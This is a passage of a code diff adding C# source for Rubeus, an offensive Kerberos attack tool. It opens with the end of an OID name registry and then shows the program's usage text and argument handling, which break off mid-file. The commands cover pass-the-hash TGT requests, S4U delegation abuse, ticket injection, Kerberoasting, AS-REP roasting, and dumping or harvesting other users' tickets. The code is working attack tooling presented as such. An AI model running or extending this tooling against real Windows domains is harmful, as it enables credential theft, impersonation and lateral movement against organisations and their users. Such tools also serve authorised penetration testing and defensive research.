Reg("2.16.840.1.101.3.4.1.2", "id-aes128-CBC");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.3", "id-aes128-OFB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.4", "id-aes128-CFB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.5", "id-aes128-wrap");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.6", "id-aes128-GCM");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.7", "id-aes128-CCM");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.8", "id-aes128-wrap-pad");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.21", "id-aes192-ECB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.22", "id-aes192-CBC");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.23", "id-aes192-OFB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.24", "id-aes192-CFB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.25", "id-aes192-wrap");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.26", "id-aes192-GCM");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.27", "id-aes192-CCM");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.28", "id-aes192-wrap-pad");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.41", "id-aes256-ECB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.42", "id-aes256-CBC");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.43", "id-aes256-OFB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.44", "id-aes256-CFB");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.45", "id-aes256-wrap");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.46", "id-aes256-GCM");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.47", "id-aes256-CCM");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.48", "id-aes256-wrap-pad");
|
||||||
|
|
||||||
|
Reg("2.16.840.1.101.3.4.2", "hashAlgs");
|
||||||
|
Reg("2.16.840.1.101.3.4.2.1", "id-sha256");
|
||||||
|
Reg("2.16.840.1.101.3.4.2.2", "id-sha384");
|
||||||
|
Reg("2.16.840.1.101.3.4.2.3", "id-sha512");
|
||||||
|
Reg("2.16.840.1.101.3.4.2.4", "id-sha224");
|
||||||
|
Reg("2.16.840.1.101.3.4.2.5", "id-sha512-224");
|
||||||
|
Reg("2.16.840.1.101.3.4.2.6", "id-sha512-256");
|
||||||
|
|
||||||
|
Reg("2.16.840.1.101.3.4.3", "sigAlgs");
|
||||||
|
Reg("2.16.840.1.101.3.4.3.1", "id-dsa-with-sha224");
|
||||||
|
Reg("2.16.840.1.101.3.4.3.2", "id-dsa-with-sha256");
|
||||||
|
|
||||||
|
Reg("1.2.840.113549", "rsadsi");
|
||||||
|
Reg("1.2.840.113549.2", "digestAlgorithm");
|
||||||
|
Reg("1.2.840.113549.2.7", "id-hmacWithSHA1");
|
||||||
|
Reg("1.2.840.113549.2.8", "id-hmacWithSHA224");
|
||||||
|
Reg("1.2.840.113549.2.9", "id-hmacWithSHA256");
|
||||||
|
Reg("1.2.840.113549.2.10", "id-hmacWithSHA384");
|
||||||
|
Reg("1.2.840.113549.2.11", "id-hmacWithSHA512");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* From X9.57: http://oid-info.com/get/1.2.840.10040.4
|
||||||
|
*/
|
||||||
|
Reg("1.2.840.10040.4", "x9algorithm");
|
||||||
|
Reg("1.2.840.10040.4", "x9cm");
|
||||||
|
Reg("1.2.840.10040.4.1", "dsa");
|
||||||
|
Reg("1.2.840.10040.4.3", "dsa-with-sha1");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* From SEC: http://oid-info.com/get/1.3.14.3.2
|
||||||
|
*/
|
||||||
|
Reg("1.3.14.3.2.2", "md4WithRSA");
|
||||||
|
Reg("1.3.14.3.2.3", "md5WithRSA");
|
||||||
|
Reg("1.3.14.3.2.4", "md4WithRSAEncryption");
|
||||||
|
Reg("1.3.14.3.2.12", "dsaSEC");
|
||||||
|
Reg("1.3.14.3.2.13", "dsaWithSHASEC");
|
||||||
|
Reg("1.3.14.3.2.27", "dsaWithSHA1SEC");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* From Microsoft: http://oid-info.com/get/1.3.6.1.4.1.311.20.2
|
||||||
|
*/
|
||||||
|
Reg("1.3.6.1.4.1.311.20.2", "ms-certType");
|
||||||
|
Reg("1.3.6.1.4.1.311.20.2.2", "ms-smartcardLogon");
|
||||||
|
Reg("1.3.6.1.4.1.311.20.2.3", "ms-UserPrincipalName");
|
||||||
|
Reg("1.3.6.1.4.1.311.20.2.3", "ms-UPN");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void Reg(string oid, string name)
|
||||||
|
{
|
||||||
|
if (!OIDToName.ContainsKey(oid)) {
|
||||||
|
OIDToName.Add(oid, name);
|
||||||
|
}
|
||||||
|
string nn = Normalize(name);
|
||||||
|
if (NameToOID.ContainsKey(nn)) {
|
||||||
|
throw new Exception("OID name collision: " + nn);
|
||||||
|
}
|
||||||
|
NameToOID.Add(nn, oid);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Many names start with 'id-??-' and we want to support
|
||||||
|
* the short names (without that prefix) as aliases. But
|
||||||
|
* we must take care of some collisions on short names.
|
||||||
|
*/
|
||||||
|
if (name.StartsWith("id-")
|
||||||
|
&& name.Length >= 7 && name[5] == '-')
|
||||||
|
{
|
||||||
|
if (name.StartsWith("id-ad-")) {
|
||||||
|
Reg(oid, name.Substring(6) + "-IA");
|
||||||
|
} else if (name.StartsWith("id-kp-")) {
|
||||||
|
Reg(oid, name.Substring(6) + "-EKU");
|
||||||
|
} else {
|
||||||
|
Reg(oid, name.Substring(6));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static string Normalize(string name)
|
||||||
|
{
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
foreach (char c in name) {
|
||||||
|
int d = (int)c;
|
||||||
|
if (d <= 32 || d == '-') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (d >= 'A' && d <= 'Z') {
|
||||||
|
d += 'a' - 'A';
|
||||||
|
}
|
||||||
|
sb.Append((char)c);
|
||||||
|
}
|
||||||
|
return sb.ToString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string ToName(string oid)
|
||||||
|
{
|
||||||
|
return OIDToName.ContainsKey(oid) ? OIDToName[oid] : oid;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string ToOID(string name)
|
||||||
|
{
|
||||||
|
if (IsNumericOID(name)) {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
string nn = Normalize(name);
|
||||||
|
if (!NameToOID.ContainsKey(nn)) {
|
||||||
|
throw new AsnException(
|
||||||
|
"unrecognized OID name: " + name);
|
||||||
|
}
|
||||||
|
return NameToOID[nn];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool IsNumericOID(string oid)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* An OID is in numeric format if:
|
||||||
|
* -- it contains only digits and dots
|
||||||
|
* -- it does not start or end with a dot
|
||||||
|
* -- it does not contain two consecutive dots
|
||||||
|
* -- it contains at least one dot
|
||||||
|
*/
|
||||||
|
foreach (char c in oid) {
|
||||||
|
if (!(c >= '0' && c <= '9') && c != '.') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (oid.StartsWith(".") || oid.EndsWith(".")) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (oid.IndexOf("..") >= 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (oid.IndexOf('.') < 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,638 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using Asn1;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
class Program
|
||||||
|
{
|
||||||
|
public static void Logo()
|
||||||
|
{
|
||||||
|
System.Console.WriteLine("\r\n ______ _ ");
|
||||||
|
System.Console.WriteLine(" (_____ \\ | | ");
|
||||||
|
System.Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ ");
|
||||||
|
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
|
||||||
|
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
|
||||||
|
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
|
||||||
|
System.Console.WriteLine(" v1.0.0\r\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Usage()
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n Rubeus usage:");
|
||||||
|
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:");
|
||||||
|
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
|
||||||
|
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
|
||||||
|
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||||
|
Console.WriteLine("\r\n Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:");
|
||||||
|
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
|
||||||
|
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
|
||||||
|
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||||
|
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||||
|
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
|
||||||
|
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
|
||||||
|
Console.WriteLine("\r\n Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):");
|
||||||
|
Console.WriteLine(" Rubeus.exe purge [/luid:LOGINID]");
|
||||||
|
Console.WriteLine("\r\n Parse and describe a ticket (service ticket or TGT):");
|
||||||
|
Console.WriteLine(" Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>");
|
||||||
|
Console.WriteLine("\r\n Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:");
|
||||||
|
Console.WriteLine(" Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]");
|
||||||
|
Console.WriteLine("\r\n Perform Kerberoasting:");
|
||||||
|
Console.WriteLine(" Rubeus.exe kerberoast [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
|
||||||
|
Console.WriteLine("\r\n Perform Kerberoasting with alternate credentials:");
|
||||||
|
Console.WriteLine(" Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
|
||||||
|
Console.WriteLine("\r\n Perform AS-REP \"roasting\" for users without preauth:");
|
||||||
|
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||||
|
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
|
||||||
|
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
|
||||||
|
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
|
||||||
|
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
|
||||||
|
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
|
||||||
|
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
|
||||||
|
|
||||||
|
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
|
||||||
|
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void Main(string[] args)
|
||||||
|
{
|
||||||
|
Logo();
|
||||||
|
|
||||||
|
var arguments = new Dictionary<string, string>();
|
||||||
|
foreach (string argument in args)
|
||||||
|
{
|
||||||
|
int idx = argument.IndexOf(':');
|
||||||
|
if (idx > 0)
|
||||||
|
{
|
||||||
|
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
arguments[argument] = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("asktgt"))
|
||||||
|
{
|
||||||
|
string user = "";
|
||||||
|
string domain = "";
|
||||||
|
string hash = "";
|
||||||
|
string dc = "";
|
||||||
|
bool ptt = false;
|
||||||
|
uint luid = 0;
|
||||||
|
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/user"))
|
||||||
|
{
|
||||||
|
user = arguments["/user"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/domain"))
|
||||||
|
{
|
||||||
|
domain = arguments["/domain"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/dc"))
|
||||||
|
{
|
||||||
|
dc = arguments["/dc"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/rc4"))
|
||||||
|
{
|
||||||
|
hash = arguments["/rc4"];
|
||||||
|
encType = Interop.KERB_ETYPE.rc4_hmac;
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/aes256"))
|
||||||
|
{
|
||||||
|
hash = arguments["/aes256"];
|
||||||
|
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/ptt"))
|
||||||
|
{
|
||||||
|
ptt = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/luid"))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = UInt32.Parse(arguments["/luid"]);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/createnetonly"))
|
||||||
|
{
|
||||||
|
// if we're starting a hidden process to apply the ticket to
|
||||||
|
if (!Helpers.IsHighIntegrity())
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/show"))
|
||||||
|
{
|
||||||
|
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
|
||||||
|
}
|
||||||
|
Console.WriteLine();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (String.IsNullOrEmpty(user))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (String.IsNullOrEmpty(domain))
|
||||||
|
{
|
||||||
|
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||||
|
}
|
||||||
|
if (String.IsNullOrEmpty(hash))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( !((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)) )
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("renew"))
|
||||||
|
{
|
||||||
|
bool ptt = false;
|
||||||
|
string dc = "";
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/ptt"))
|
||||||
|
{
|
||||||
|
ptt = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/dc"))
|
||||||
|
{
|
||||||
|
dc = arguments["/dc"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/ticket"))
|
||||||
|
{
|
||||||
|
string kirbi64 = arguments["/ticket"];
|
||||||
|
|
||||||
|
if (Helpers.IsBase64String(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||||
|
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||||
|
if (arguments.ContainsKey("/autorenew"))
|
||||||
|
{
|
||||||
|
// if we want to auto-renew the TGT up until the renewal limit
|
||||||
|
Renew.TGTAutoRenew(kirbi, dc);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// otherwise a single renew operation
|
||||||
|
byte[] blah = Renew.TGT(kirbi, ptt, dc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (File.Exists(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||||
|
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||||
|
if (arguments.ContainsKey("/autorenew"))
|
||||||
|
{
|
||||||
|
// if we want to auto-renew the TGT up until the renewal limit
|
||||||
|
Renew.TGTAutoRenew(kirbi, dc);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// otherwise a single renew operation
|
||||||
|
byte[] blah = Renew.TGT(kirbi, ptt, dc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("s4u"))
|
||||||
|
{
|
||||||
|
string targetUser = "";
|
||||||
|
string targetSPN = "";
|
||||||
|
string altSname = "";
|
||||||
|
string user = "";
|
||||||
|
string domain = "";
|
||||||
|
string hash = "";
|
||||||
|
bool ptt = false;
|
||||||
|
string dc = "";
|
||||||
|
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/user"))
|
||||||
|
{
|
||||||
|
user = arguments["/user"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/domain"))
|
||||||
|
{
|
||||||
|
domain = arguments["/domain"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/ptt"))
|
||||||
|
{
|
||||||
|
ptt = true;
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/dc"))
|
||||||
|
{
|
||||||
|
dc = arguments["/dc"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/rc4"))
|
||||||
|
{
|
||||||
|
hash = arguments["/rc4"];
|
||||||
|
encType = Interop.KERB_ETYPE.rc4_hmac;
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/aes256"))
|
||||||
|
{
|
||||||
|
hash = arguments["/aes256"];
|
||||||
|
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/impersonateuser"))
|
||||||
|
{
|
||||||
|
targetUser = arguments["/impersonateuser"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/msdsspn"))
|
||||||
|
{
|
||||||
|
targetSPN = arguments["/msdsspn"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/altservice"))
|
||||||
|
{
|
||||||
|
altSname = arguments["/altservice"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (String.IsNullOrEmpty(targetUser))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (String.IsNullOrEmpty(targetSPN))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/ticket"))
|
||||||
|
{
|
||||||
|
string kirbi64 = arguments["/ticket"];
|
||||||
|
|
||||||
|
if (Helpers.IsBase64String(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||||
|
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||||
|
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||||
|
}
|
||||||
|
else if (File.Exists(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||||
|
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||||
|
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (arguments.ContainsKey("/user"))
|
||||||
|
{
|
||||||
|
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
|
||||||
|
|
||||||
|
user = arguments["/user"];
|
||||||
|
|
||||||
|
if (String.IsNullOrEmpty(hash))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
|
||||||
|
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("ptt"))
|
||||||
|
{
|
||||||
|
uint luid = 0;
|
||||||
|
if (arguments.ContainsKey("/luid"))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = UInt32.Parse(arguments["/luid"]);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/ticket"))
|
||||||
|
{
|
||||||
|
string kirbi64 = arguments["/ticket"];
|
||||||
|
|
||||||
|
if (Helpers.IsBase64String(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||||
|
LSA.ImportTicket(kirbiBytes, luid);
|
||||||
|
}
|
||||||
|
else if (File.Exists(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||||
|
LSA.ImportTicket(kirbiBytes, luid);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("purge"))
|
||||||
|
{
|
||||||
|
uint luid = 0;
|
||||||
|
if (arguments.ContainsKey("/luid"))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = UInt32.Parse(arguments["/luid"]);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LSA.Purge(luid);
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (arguments.ContainsKey("kerberoast"))
|
||||||
|
{
|
||||||
|
string spn = "";
|
||||||
|
string user = "";
|
||||||
|
string OU = "";
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/spn"))
|
||||||
|
{
|
||||||
|
spn = arguments["/spn"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/user"))
|
||||||
|
{
|
||||||
|
user = arguments["/user"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/ou"))
|
||||||
|
{
|
||||||
|
OU = arguments["/ou"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/creduser"))
|
||||||
|
{
|
||||||
|
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
string[] parts = arguments["/creduser"].Split('\\');
|
||||||
|
string domainName = parts[0];
|
||||||
|
string userName = parts[1];
|
||||||
|
|
||||||
|
if (!arguments.ContainsKey("/credpassword"))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
string password = arguments["/credpassword"];
|
||||||
|
|
||||||
|
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
|
||||||
|
|
||||||
|
Roast.Kerberoast(spn, user, OU, cred);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Roast.Kerberoast(spn, user, OU);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (arguments.ContainsKey("asreproast"))
|
||||||
|
{
|
||||||
|
string user = "";
|
||||||
|
string domain = "";
|
||||||
|
string dc = "";
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/user"))
|
||||||
|
{
|
||||||
|
user = arguments["/user"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/domain"))
|
||||||
|
{
|
||||||
|
domain = arguments["/domain"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/dc"))
|
||||||
|
{
|
||||||
|
dc = arguments["/dc"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (String.IsNullOrEmpty(user))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (String.IsNullOrEmpty(domain))
|
||||||
|
{
|
||||||
|
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (String.IsNullOrEmpty(dc))
|
||||||
|
{
|
||||||
|
Roast.ASRepRoast(user, domain);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Roast.ASRepRoast(user, domain, dc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (arguments.ContainsKey("dump"))
|
||||||
|
{
|
||||||
|
if (arguments.ContainsKey("/luid"))
|
||||||
|
{
|
||||||
|
string service = "";
|
||||||
|
